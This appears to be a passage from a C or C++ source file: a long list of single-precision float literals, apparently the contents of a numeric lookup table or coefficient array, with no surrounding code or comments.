0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, -0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, -0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, -0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, 